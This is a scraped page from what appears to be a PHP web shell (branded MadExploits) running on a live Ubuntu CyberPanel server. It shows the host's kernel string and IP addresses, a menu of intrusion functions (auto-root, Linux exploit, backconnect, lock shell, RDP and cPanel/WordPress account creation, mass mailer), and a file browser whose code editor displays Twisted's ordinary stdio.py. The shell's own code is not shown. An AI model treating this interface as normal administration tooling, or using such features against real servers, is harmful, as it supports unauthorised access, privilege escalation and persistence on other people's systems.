Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
twisted /
conch /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
insults
[ DIR ]
drwxr-xr-x
openssh_compat
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
ssh
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
ui
[ DIR ]
drwxr-xr-x
__init__.py
198
B
-rw-r--r--
avatar.py
1.6
KB
-rw-r--r--
checkers.py
18.97
KB
-rw-r--r--
endpoints.py
29.26
KB
-rw-r--r--
error.py
2.6
KB
-rw-r--r--
interfaces.py
14.57
KB
-rw-r--r--
ls.py
2.63
KB
-rw-r--r--
manhole.py
11.57
KB
-rw-r--r--
manhole_ssh.py
4.32
KB
-rw-r--r--
manhole_tap.py
5.36
KB
-rw-r--r--
mixin.py
1.34
KB
-rw-r--r--
recvline.py
18.71
KB
-rw-r--r--
stdio.py
2.71
KB
-rw-r--r--
tap.py
3.12
KB
-rw-r--r--
telnet.py
37.16
KB
-rw-r--r--
ttymodes.py
2.14
KB
-rw-r--r--
unix.py
16.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : stdio.py
# -*- test-case-name: twisted.conch.test.test_manhole -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Asynchronous local terminal input handling @author: Jp Calderone """ import os import sys import termios import tty from twisted.conch.insults.insults import ServerProtocol from twisted.conch.manhole import ColoredManhole from twisted.internet import defer, protocol, reactor, stdio from twisted.python import failure, log, reflect class UnexpectedOutputError(Exception): pass class TerminalProcessProtocol(protocol.ProcessProtocol): def __init__(self, proto): self.proto = proto self.onConnection = defer.Deferred() def connectionMade(self): self.proto.makeConnection(self) self.onConnection.callback(None) self.onConnection = None def write(self, data): """ Write to the terminal. @param data: Data to write. @type data: L{bytes} """ self.transport.write(data) def outReceived(self, data): """ Receive data from the terminal. @param data: Data received. @type data: L{bytes} """ self.proto.dataReceived(data) def errReceived(self, data): """ Report an error. @param data: Data to include in L{Failure}. @type data: L{bytes} """ self.transport.loseConnection() if self.proto is not None: self.proto.connectionLost(failure.Failure(UnexpectedOutputError(data))) self.proto = None def childConnectionLost(self, childFD): if self.proto is not None: self.proto.childConnectionLost(childFD) def processEnded(self, reason): if self.proto is not None: self.proto.connectionLost(reason) self.proto = None class ConsoleManhole(ColoredManhole): """ A manhole protocol specifically for use with L{stdio.StandardIO}. """ def connectionLost(self, reason): """ When the connection is lost, there is nothing more to do. Stop the reactor so that the process can exit. """ reactor.stop() def runWithProtocol(klass): fd = sys.__stdin__.fileno() oldSettings = termios.tcgetattr(fd) tty.setraw(fd) try: stdio.StandardIO(ServerProtocol(klass)) reactor.run() finally: termios.tcsetattr(fd, termios.TCSANOW, oldSettings) os.write(fd, b"\r\x1bc\r") def main(argv=None): log.startLogging(open("child.log", "w")) if argv is None: argv = sys.argv[1:] if argv: klass = reflect.namedClass(argv[0]) else: klass = ConsoleManhole runWithProtocol(klass) if __name__ == "__main__": main()
Close